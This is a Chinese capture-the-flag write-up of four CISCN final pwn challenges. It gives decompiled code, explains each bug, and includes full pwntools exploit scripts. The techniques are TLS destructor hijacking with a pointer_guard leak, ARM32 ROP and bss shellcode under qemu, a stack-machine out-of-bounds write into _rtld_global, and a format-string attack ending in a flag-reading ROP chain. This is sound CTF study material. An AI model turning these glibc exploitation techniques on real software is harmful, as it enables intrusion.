前言
比赛第一天为非典型性awd，第二天为解题赛，这里分析第一天的pwn3和第二天的题。
day1-pwn3
程序逻辑
主程序有一个死循环，每次启动一个新线程。线程函数里每次先将返回地址保存到bss处，之后调用gets读取栈变量，此处有溢出。而printf_chk函数是一个安全的格式化字符串函数，不可使用诸如%k$p/%n之类的格式化字符串。在使用%p泄露地址时，需要用连续的%p作为输入。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) == -1 )
puts("create thread failed");
pthread_join(newthread, 0LL);
}
}
//
unsigned __int64 __fastcall start_routine(void *a1)
{
char v2; // [rsp+0h] [rbp-40h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
__int64 retaddr; // [rsp+48h] [rbp+8h]
v3 = __readfsqword(0x28u);
ret_address = (__int64)&retaddr;
save_ret = retaddr;
gets(&v2);
__printf_chk(1LL, &v2);
*(_QWORD *)ret_address = save_ret;
return v3 - __readfsqword(0x28u);
}
漏洞利用
由于在返回前子函数会将之前保存的地址再赋值给栈上对应位置处，因此溢出返回地址没有意义，比赛的时候我们通过fuzz发现输入a*8*256会造成crash，发现这里的rbx可控，进而可以控制rdi及rax，任意函数调用。
赛后去查了下源码，发现退出的函数位于stdlib/cxa_thread_atexit_impl.c，代码如下。struct dtor_list结构体的成员包含有func和obj，因此可以利用这个调用链，溢出到cur结构体，伪造func和obj，最后调用system("/bin/sh")。
另外注意线程栈是mmap出来的，其和libc之间的偏移是固定的，我们可以通过leak libc地址间接得到输入地址。
在最终调用func之前，还有一次ror rax,0x11和xor rax, gs[0x30]，需要leak出tls的pointer_guard成员。
* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
/*
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
*/
exp.py
#coding:utf-8
from pwn import *
import sys,os,string
elf_path = './pwn'
remote_libc_path = ''
#P = ELF(elf_path)
context(os='linux',arch='amd64')
context.terminal = ['tmux','split','-h']
#context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def ROR(data, shift, size=64):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
payload = '%p'*13
sleep(0.1)
#raw_input()
p.sendline(payload)
p.recvn(14)
libcbase = int(p.recv(14),16)-libc.sym['_IO_2_1_stdin_']
log.success('libcbase = '+hex(libcbase))
p.recvuntil('7000x')
p.recvuntil('7000x')
canary = int(p.recv(16),16)
log.success('canary = '+hex(canary))
#gdb.attach(p)
gadgets = [0x4f2c5,0x4f322,0x10a38c]
shell_addr = libcbase + gadgets[0]
#tls_addr = libcbase - 0x900 + 0x30
tls_addr = libcbase + 0x816740 + 0x30
print hex(tls_addr)
fake_addr= 0x12345678
print hex(shell_addr)
payload = "%p"*6+"%s"+"%s"+p64(tls_addr)+p64(libcbase+libc.sym['environ'])
#payload = 'a'*0x38+p64(canary)+p64(0xdeadbeef)+'a'*8*240+p64(fake_addr)
#payload = payload.ljust(0x500,'a')
#gdb.attach(p,'''
# b *(0x555555554000+0x11E0)
# b *(0x555555554000+0x128E)
# ''')
#raw_input()
sleep(0.1)
p.sendline(payload)
p.recvuntil("0x7325732570257025")
guard = u64(p.recvn(8))
log.success("fs 0x30 guard " + hex(guard))
stack_addr = u64(p.recvn(6).ljust(8,'\x00'))
log.success("stack addr => " + hex(stack_addr))
input_addr = libcbase - 0x1150
#get shell
#raw_input()
sleep(0.1)
p.sendline(payload)
#system_enc = circular_shift_left(libcbase+libc.sym['system'],0x11,64)
system_enc = (libcbase+libc.sym['system']) ^ guard
system_enc = ROL(system_enc,0x11)
payload = p64(system_enc)+p64(libcbase+libc.search("/bin/sh").next())
payload += '\x00'*0x28
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(input_addr)*246
payload += p64(input_addr)
sleep(0.1)
#raw_input()
p.sendline(payload)
p.interactive()
day2-pwn1
程序逻辑
基础的栈溢出，arm32架构
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-104h]
setvbuf((FILE *)stdout, 0, 2, 0);
printf("input: ");
read(0, &buf, 0x300u);
return 0;
}
漏洞利用
程序的gadget很少，arm调用的前四个参数寄存器是r0-r4，这里看到只有r3/r4可控.
─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ file ./bin
./bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, not stripped
╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ checksec ./bin
[*] '/home/wz/Desktop/CTF/ciscn_final/day2/pwn1pm/bin'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ ROPgadget --binary ./bin --only 'pop' 1 ↵
Gadgets information
============================================================
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}
Unique gadgets found: 2
查看一下汇编，发现这里的r0、r1都可以间接控制，从而任意函数调用。
漏洞利用
这里有两种思路，第一种是劫持返回地址到printf前的地址，通过最后的pop {fp, pc}控制fp为bss地址，pc到pop_r3_pc来劫持r3为printf@got，再去执行printf泄露libc地址，最后read溢出执行system("/bin/sh")。
另一种是利用qemu-arm启动时的特性，NX保护实际上并没有开启，bss段可执行，第一次溢出栈迁移到bss，并部署好shellcode，第二次跳到对应位置执行shellcode。
rop.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bin')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
if debug == 1:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
elif debug == 2:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp():
#leak libc
bss = elf.bss()+0x500
sc = asm(shellcraft.sh())
payload = 'a'*0x100
payload += p32(bss+0x104)
payload += p32(p_r3_pc)
payload += p32(elf.got['printf'])
payload += p32(0x104d8)
p.recvuntil("input: ")
raw_input()
p.sendline(payload)
libc_base = u32(p.recvn(4)) - libc.sym['printf']
log.success("libc base => " + hex(libc_base))
raw_input()
p_r0_r = libc_base + 0x00056b7c
payload = sc
payload = payload.ljust(0x100,'\x00')
payload += p32(bss+4)
payload += p32(p_r0_r)
payload += p32(libc_base+0x000ca574)+p32(0)
payload += p32(libc_base+libc.sym['system'])
p.sendline(payload)
p.interactive()
exp()
sc.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bin')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
if debug == 1:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
elif debug == 2:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp():
#leak libc
bss = elf.bss()+0x500
sc = asm(shellcraft.sh())
payload = 'a'*0x100
payload += p32(bss+0x104)
payload += p32(p_r3_pc)
payload += p32(bss)
payload += p32(0x104e4)
raw_input()
p.sendline(payload)
raw_input()
payload = sc
payload = payload.ljust(0x100,'\x00')
payload += p32(bss+4)
payload += p32(bss)
p.sendline(payload)
p.interactive()
exp()
day2-pwn2
程序逻辑
VMPwn类型的题目，程序没有开PIE。
在主要函数里的0xe指令可以控制*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr)为任意值，结合0x2指令可以实现地址越界写，0x1指令可以实现地址越界读。但是越界只能往高地址越界读写。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 i; // [rsp+0h] [rbp-30h]
node *node_addr; // [rsp+8h] [rbp-28h]
unsigned __int64 nmemb; // [rsp+10h] [rbp-20h]
unsigned __int64 nbytes; // [rsp+18h] [rbp-18h]
unsigned __int64 code_sz; // [rsp+20h] [rbp-10h]
node_addr = (node *)calloc(0x40uLL, 1uLL);
printf("stack size >", 1LL);
nmemb = read_int();
if ( nmemb > 0xFFFFF || nmemb <= 0xFFF || nmemb & 0xFFF )
{
puts("invalid stack size!");
exit(0);
}
node_addr->stack_sz = nmemb;
node_addr->stack_sz_divie_2 = nmemb >> 1;
node_addr->stack_addr = (__int64)calloc(nmemb, 1uLL);
if ( !node_addr->stack_addr )
exit(-1);
printf("data size >", 1LL);
nbytes = read_int();
if ( nbytes > 0xFFFFF || nbytes <= 0xFFF || nbytes & 0xFFF )
{
puts("invalid data size!");
exit(0);
}
node_addr->data_sz = nbytes;
node_addr->data_addr = (__int64)calloc(nbytes, 1uLL);
if ( !node_addr->data_addr )
exit(-1);
printf("initial data >", 1LL);
read(0, (void *)node_addr->data_addr, nbytes);
printf("code size >");
code_sz = read_int();
if ( code_sz > 0xFFFFF || code_sz <= 0xFFF || code_sz & 0xFFF )
{
puts("invalid code size!");
exit(0);
}
node_addr->code_sz = code_sz;
node_addr->code_addr = (__int64)calloc(code_sz, 1uLL);
node_addr->_rip = 0LL;
if ( !node_addr->code_addr )
exit(-1);
printf("initial code >", 1LL);
read(0, (void *)node_addr->code_addr, code_sz);
for ( i = 0LL; i <= 0x7FF && !(unsigned int)main_func(node_addr); ++i )
;
printf("data: ");
write(1, (const void *)node_addr->data_addr, node_addr->data_sz);
puts(&byte_40179C);
return 0LL;
}
//
signed __int64 __fastcall main_func(node *node_addr)
{
signed __int64 result; // rax
__int64 v2; // ST20_8
__int64 v3; // ST20_8
__int64 v4; // ST20_8
__int64 v5; // ST20_8
__int64 v6; // ST20_8
__int64 v7; // ST20_8
__int64 v8; // ST20_8
__int64 v9; // ST20_8
__int64 v10; // ST20_8
__int64 v11; // ST20_8
if ( node_addr->_rip > (unsigned __int64)(node_addr->code_sz - 1)
|| node_addr->stack_sz_divie_2 > (unsigned __int64)(node_addr->stack_sz - 8) )
{
return 0xFFFFFFFFLL;
}
switch ( *(unsigned __int8 *)(node_addr->code_addr + node_addr->_rip) )
{
case 0u:
result = 0xFFFFFFFFLL;
break;
case 1u:
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )// arb read
{
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(8LL * (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3) + node_addr->data_addr);
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 2u: // mov
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
*(_QWORD *)(node_addr->data_addr
+ 8LL
* (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3)) = *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 0x10LL;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 3u: // add
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v2 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
+ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v2;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 4u: // sub
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v3 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
- *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v3;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 5u: // *
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v4 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
* *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v4;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 6u: // /
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) )
{
v5 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
/ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v5;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
case 7u: // %
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) )
{
v6 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
% *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v6;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
case 8u: // &
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v7 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) & *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v7;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 9u: // |
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v8 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) | *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v8;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xAu: // ^
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v9 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) ^ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v9;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xBu: // ~
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )
{
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = ~*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3));
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xCu: // <<
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v10 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) << *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v10;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xDu: // >>
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v11 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v11;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xEu:
if ( node_addr->stack_sz_divie_2 > 7uLL ) // 可控
{
node_addr->stack_sz_divie_2 -= 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(node_addr->code_addr + node_addr->_rip + 1);
node_addr->_rip += 8LL;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xFu: // add pointer
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )
{
node_addr->stack_sz_divie_2 += 8LL;
LABEL_56:
++node_addr->_rip;
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
default:
result = 0xFFFFFFFFLL;
break;
}
return result;
}
漏洞利用
当分配大小大于等于0x23000时会触发mmap，测试发现这里的map地址刚好在ld.so可写区域上方，偏移固定。而_rtld_global+3848处有一函数指针在函数退出时会被调用，参数为_rtld_global+2312，通过越界读写配合add/sub指令布置system函数指针及/bin/sh字符串，最终在函数退出时调用system("/bin/sh")
exp.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./StackMachine')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./StackMachine')
elif debug == 2:
libc = ELF('./libc.so.6')
p = process('./StackMachine',env={'LD_PRELOAD':'./libc.so.6'})
else:
libc = ELF('./libc.so.6')
p = remote('f.buuoj.cn',20173)
def AllocStack(sz):
p.sendlineafter("stack size >",str(sz))
def AllocData(sz,data):
p.sendlineafter("data size >",str(sz))
p.recvuntil("initial data >")
p.sendline(data)
def AllocCode(sz,code):
p.sendlineafter("code size >",str(sz))
p.recvuntil("tial code >")
p.sendline(code)
def exp():
#leak libc
AllocStack(0xff000)
main_addr = 0x401346
offset = 0
gdb.attach(p,'b *0x400b9e\nb* 0x400a7a')
AllocData(0x23000,p64(0x3858f0)+"/bin/sh\x00")
payload = p8(0xe)+p64(0)
payload += p8(1)
payload += p8(0xe)+p64(0x14af38)
payload += p8(1)
payload += p8(4)
payload += p8(0xe)+p64(0x14af38)
payload += p8(2)
payload += p8(0xe)+"/bin/sh\x00"
payload += p8(0xe)+p64(0x14af38-0x600)
payload += p8(2)
#payload += p8(0xe)+p64(main_addr)
#payload += p8(0xe)+p64(0x23000-8)
#payload += p8(2)
#payload += p8(0xe)+p64(main_addr)
AllocCode(0x1000,payload)
p.interactive()
exp()
pwn3
程序逻辑
逻辑和2019年d3ctf的unprintableV一模一样，不一样的是这里的bss上的stdout对应位置不可写。不可以用之前方式先修改bss的stdout.fileno为2，再leak和write rops。
int main_func_0()
{
int result; // eax
char *v1; // [rsp+8h] [rbp-8h]
v1 = s1;
puts("Oh! I hear you love Ciscn2020, so I have a gift for you!");
printf("Gift: %p\n", &v1);
puts("Come in quickly, I will close the door.");
close(1);
while ( 1 )
{
result = strncmp(s1, "Ciscn20", 7uLL);
if ( !result )
break;
main_func();
}
return result;
}
//
int main_func()
{
get_input(s1, 0x120LL);
return printf(s1, 0x120LL);
}
漏洞利用
通过测试发现栈上残存了一些stdout指针，不过因为其位置位于printf字符串寻址的低地址处，无法控制，修改printf返回地址或者main_func返回地址的低字节到start函数，在__libc_start_main调用的时候会大幅度减栈，使得这些stdout指针转移到新的printf函数栈帧高地址处，从而可以覆写其fileno为2来重新输出内容。
在之后在栈上布置pop rsp及input_addr，触发时栈迁移到bss来执行rop读取flag。
exp.py
由于写入字节数不可大于0x2000，所以要爆破栈地址3/16，proc_base地址1/2字节，概率大概是1/(16*16/3)。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./anti.bak')
libc_offset = 0x3c4b20
gadgets = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
#p = process('./anti.bak')
def WriteVal(stack_low,off,val,signle=False):
payload = "%"+str(stack_low+off)+"c%6$hn"
sleep(0.02)
p.sendline(payload)
if not signle:
payload = "%"+str(val)+"c%10$hn"
else:
payload = "%"+str(val)+"c%10$hhn"
sleep(0.02)
p.sendline(payload)
def exp():
#leak stack
p.recvuntil("Oh! I hear you love Ciscn2020, so I have a gift for you!")
p.recvuntil("Gift: 0x")
stack_addr = int(p.recvline().strip('\n'),16)
log.success("stack addr => " + hex(stack_addr))
#for item in gadgets:
# print hex(0x7ffff7a0d000+item)
sleep(0.02)
stack_low = stack_addr & 0xffff
if stack_low > 0x2000:
return 0
stack_low_1 = stack_addr & 0xff
stack_low_2 = (stack_addr & 0xffff) >> 8
payload = '%'+str(stack_low-0x20)+"c%6$hhn"
sleep(0.02)
p.recvuntil("Come in quickly, I will close the door.\n")
p.sendline(payload)
payload = '%'+str(0xa90)+"c%10$hn"
sleep(0.02)
p.sendline(payload)
#change the fileno position
#%29$p
WriteVal(stack_low,-0x70,0x90,signle=True)
payload = "%"+str(2)+"c%29$hhn"
sleep(0.02)
p.sendline(payload)
#leak libc
payload = "-%13$p+"
sleep(0.02)
p.sendline(payload)
print "got here"
p.recvuntil("-0x")
libc_base = int(p.recvuntil("+",drop=True),16) - 240 - libc.sym['__libc_start_main']
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
#
payload = "-%p+"
sleep(0.02)
p.sendline(payload)
p.recvuntil("0x")
proc_base = int(p.recvuntil("+",drop=True),16) - (0x5616ed121b04+0x540-0x00005616ecf20000)
log.success("proc base => " + hex(proc_base))
raw_input()
p_rsp_r3 = proc_base + 0x000000000000104d
gdb.attach(p,'b printf')
WriteVal(stack_low,-0x100,p_rsp_r3&0xff,signle=True)
WriteVal(stack_low,-0x100+1,(p_rsp_r3&0xffff)>>8,signle=True)
WriteVal(stack_low,-0x100+2,(p_rsp_r3&0xffffff)>>16,signle=True)
#write bss addr to stack
target = proc_base + 0x202040
WriteVal(stack_low,-0xf8,target&0xff,signle=True)
WriteVal(stack_low,-0xf8+1,(target&0xffff)>>8,signle=True)
WriteVal(stack_low,-0xf8+2,(target&0xffffff)>>16,signle=True)
#write pop rsp to stack
#
p_rdi = libc_base + 0x0000000000021112
p_rsi = libc_base + 0x00000000000202f8
p_rdx = libc_base + 0x0000000000001b92
p_rax = libc_base + 0x000000000003a738
syscall = libc_base + 0x00000000000bc3f5
payload = "Ciscn20\x00"
payload += "./flag\x00\x00"*2
payload += flat([
p_rdi,target+0x8,p_rsi,0,p_rdx,0,p_rax,2,syscall,
p_rdi,1,p_rsi,target+0x200,p_rdx,0x30,p_rax,0,syscall,
p_rdi,2,p_rsi,target+0x200,p_rdx,0x30,p_rax,1,syscall
])
sleep(0.02)
p.sendline(payload)
return 1
#exp()
#p.interactive()
while True:
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./anti.bak')
else:
libc = ELF('./libc.so.6')
p = remote('183.129.189.62',58704)
a = 0
try:
a = exp()
if a == 0:
p.close()
continue
else:
p.interactive()
p.close()
except:
p.close()
continue
后言
day2-pwn3这道题当时做的时候弹栈的方法没有想的很明白，劫持到了一个sub rsp,0x10的gadget，在随后的执行过程中stdout指针被新值覆写故放弃了这个思路，之后西湖论剑的初赛看到fmyy师傅分享的劫持到start函数的思路，遂复现了一遍，非常感觉师傅的分享。